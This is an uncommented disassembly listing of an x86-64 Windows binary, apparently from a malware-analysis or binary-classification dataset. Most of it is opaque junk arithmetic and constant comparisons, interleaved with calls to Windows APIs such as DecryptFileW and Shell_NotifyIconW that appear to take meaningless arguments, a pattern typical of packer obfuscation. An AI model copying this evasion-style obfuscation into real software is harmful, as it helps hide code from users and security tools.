mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xb6e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
or eax, ecx
mov byte [rsp + 0x4df], al
jmp 0x14017d96c
mov rax, qword [rsp + 0xaa88]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xce78]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x14001bbb1
movzx eax, byte [rsp + 0x4e2]
mov byte [rsp + 0x6cac], al
cmp byte [rsp + 0x6cac], 0x3b
je 0x14001bb17
cmp byte [rsp + 0x6cac], 0xa6
je 0x14001bb2c
jmp 0x14001bbac
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rax]
call fcn.140182e60
jmp 0x14001bbac
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
sar rax, cl
mov qword [0x14019d018], rax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [rsp + 0x5938]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
mov r9d, dword [rsp + 0x6c94]
movzx r8d, word [rsp + 0x2a34]
mov edx, dword [rsp + 0x5938]
mov rax, qword [rsp + 0xced0]
movzx ecx, word [rax]
call fcn.140181f10
jmp 0x14017d91a
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb6e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce58]
mov rdx, qword [rsp + 0xaa78]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14001bd0a
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
sar eax, cl
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x6cb0], al
cmp byte [rsp + 0x6cb0], 0x9d
je 0x14001bc5f
jmp 0x14001bc90
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcec0], rax
movsx eax, byte [rsp + 0x362]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
jmp 0x14017d91a
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [rsp + 0x5918]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5938]
mov edx, dword [rsp + 0x6c78]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14017d785
movzx eax, byte [rsp + 0x4e2]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3fb], al
lea rcx, [rsp + 0x1f460]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xcf78], rax
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [rsp + 0x5918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5938], eax
mov rax, qword [0x14019d018]
mov qword [rsp + 0xcf80], rax
mov eax, dword [rsp + 0x6c24]
mov dword [rsp + 0x6cb4], eax
cmp dword [rsp + 0x6cb4], 0x23eb
je 0x14001bdb0
jmp 0x14001be72
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
add eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a40], ax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcdc8], rax
jmp 0x14017d6e1
lea rcx, [rsp + 0x1ef60]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x6cb8], eax
cmp dword [rsp + 0x6c48], 0xbe6c
jbe 0x14001c2a6
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xb6e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x4e1]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [rsp + 0x5cf0]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x2a48]
sub eax, ecx
mov word [rsp + 0x2a40], ax
lea r9, [rsp + 0x1f3f0]
lea r8, [rsp + 0x6c38]
lea rdx, [rsp + 0x21150]
lea rcx, [rsp + 0x2a30]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [0x14019d008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
add eax, ecx
mov byte [0x14019d010], al
mov eax, dword [0x14019efac]
mov ecx, dword [rsp + 0x63c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c94], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a3c], ax
movsx eax, byte [0x14019ef91]
movsx ecx, byte [rsp + 0x4e1]
shl eax, cl
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xb6e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaa78], rax
lea rdx, [rsp + 0x221d0]
mov ecx, 0xe6
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6bbc], eax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [rsp + 0x2a50], ax
mov eax, dword [rsp + 0x6c48]
sub eax, 0xed
mov dword [rsp + 0x6c48], eax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xcec0]
movzx ecx, al
mov rax, qword [0x14019d018]
shl rax, cl
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov edx, 0x90
mov rcx, qword [rsp + 0xcde0]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x6cbc], eax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xb6e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov eax, dword [rsp + 0x5918]
movzx ecx, al
mov eax, dword [rsp + 0x63c8]
sar eax, cl
mov dword [rsp + 0x6c94], eax
movzx eax, byte [rsp + 0x3fb]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2b2], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a38]
xor eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
and eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xcf88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb6e0], rax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
jmp 0x14001be87
cmp dword [rsp + 0x6c6c], 0xb0d8
jae 0x14001c49d
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a4c]
sub eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
lea rcx, [rsp + 0x1e920]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xcea8], rax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
xor eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
lea rcx, [rsp + 0x20930]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6ca4], eax
mov eax, dword [rsp + 0x5938]
movzx ecx, al
mov eax, dword [rsp + 0x6c94]
shl eax, cl
mov dword [rsp + 0x6c78], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
sar eax, cl
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x6c6c]
add eax, 0xf5
mov dword [rsp + 0x6c6c], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a50], ax
mov rcx, qword [rsp + 0xcf90]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xcf98], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019ef94], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
jmp 0x14001c2a6
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6cc0], eax
cmp dword [rsp + 0x6cc0], 0x15555800
je 0x14001c4bd
jmp 0x14017d5d2
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcec0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov rdx, qword [0x14019d008]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x14001c57c
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xcfa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfa0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcfa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfa8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
sub eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaa78]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001c707
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcac8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xccf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [0x14019ef98]
and eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xcac8]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
shl rax, cl
mov rcx, qword [rsp + 0xceb8]
mov rdx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
je 0x14001c6e9
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [0x14019efac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5918], eax
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [rsp + 0x362]
add eax, ecx
mov byte [rsp + 0x4e0], al
jmp 0x14001c702
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
jmp 0x14001c791
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb6e0]
mov rdx, qword [rsp + 0xce58]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14001c791
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov word [0x14019ef94], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov dword [rsp + 0x6cc4], eax
cmp dword [rsp + 0x6cc4], 0
je 0x14001c7b2
jmp 0x14001c85c
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf48], rax
lea rax, [rsp + 0x6bd0]
mov qword [rsp + 0xcfb0], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xce58], rax
movzx eax, byte [rsp + 0x362]
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a48]
mov word [rsp + 0x2a54], ax
jmp 0x14001c861
call fcn.140181f50
mov eax, dword [rsp + 0x5cf0]
mov dword [0x14019efb0], eax
mov rax, qword [rsp + 0xaa88]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [rsp + 0xcf48], rax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0xcfb8], rax
mov eax, dword [rsp + 0x5938]
movzx ecx, al
mov eax, dword [0x14019efac]
sar eax, cl
mov dword [rsp + 0x5918], eax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [rsp + 0x3fb]
or eax, ecx
mov byte [rsp + 0x4a1], al
cmp dword [rsp + 0x6c8c], 0x3992
jae 0x14001cb22
movsx eax, byte [rsp + 0x4df]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x5cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [rsp + 0x2a40]
sar eax, cl
mov word [0x14019ef98], ax
mov eax, dword [rsp + 0x6c8c]
add eax, 0x53
mov dword [rsp + 0x6c8c], eax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xcfc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfc0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
and eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
xor eax, ecx
mov word [rsp + 0x2a44], ax
movsx eax, byte [0x14019ef91]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x5cf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
mov r8w, 0x65
mov rdx, qword [rsp + 0xcde8]
mov rcx, qword [rsp + 0xcdd8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a58], ax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb6e0]
shl rax, cl
mov qword [rsp + 0xce58], rax
lea rcx, [rsp + 0x21150]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcfc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb590], rax
mov r8d, 0xa7
mov rdx, qword [rsp + 0xce90]
mov rcx, qword [rsp + 0xcfd0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov word [0x14019ef94], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
sub eax, ecx
mov word [rsp + 0x2a40], ax
jmp 0x14001c8ce
movsx eax, word [rsp + 0x2a34]
mov dword [rsp + 0x6cc8], eax
cmp dword [rsp + 0x6cc8], 0x76d
je 0x14001cb40
jmp 0x14001cb98
movzx eax, byte [rsp + 0x4a1]
movzx ecx, byte [rsp + 0x3fb]
add eax, ecx
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [rsp + 0x5938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c78], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
jmp 0x14001cc23
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [section..data]
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e3]
sar eax, cl
mov byte [rsp + 0x4e1], al
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
cdq
idiv ecx
mov word [str.L_nbT], ax
lea rax, [rsp + 0xb590]
mov qword [rsp + 0xcfe0], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6ccc], eax
cmp dword [rsp + 0x6ccc], 0x91fc
je 0x14001cd44
cmp dword [rsp + 0x6ccc], 0x15555800
je 0x14001cc57
jmp 0x14001ce1a
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a3c], ax
mov dword [rsp + 0x6cd0], 0xc5c1
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov qword [rsp + 0xcfe8], rax
mov eax, dword [0x14019efb0]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xcff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcff0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c24], eax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xb6e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a3c], ax
mov dword [rsp + 0x6cd4], 0x12256
jmp 0x14001ce1a
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xcff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcff8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019d018], rax
mov eax, dword [rsp + 0x6c94]
mov ecx, dword [0x14019efac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
sub eax, ecx
mov byte [rsp + 0x4a1], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
add eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x183c]
add eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xcfd8]
mov rcx, qword [0x14019d020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
movzx eax, byte [rsp + 0x4df]
mov byte [rsp + 0x4e4], al
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x6c78]
and ecx, eax
mov eax, ecx
mov ecx, dword [0x14019efac]
mov edx, dword [rsp + 0x6c94]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14001cee6
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
shl eax, cl
movsx ecx, byte [0x14019ef91]
movsx edx, byte [rsp + 0x346]
or ecx, edx
cmp eax, ecx
jle 0x14001cee6
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a4c]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf80], rax
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xd000], rax
cmp dword [rsp + 0x6cd0], 0xd6ca
je 0x14001d176
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov word [rsp + 0x1548], ax
mov eax, dword [0x14019efb0]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
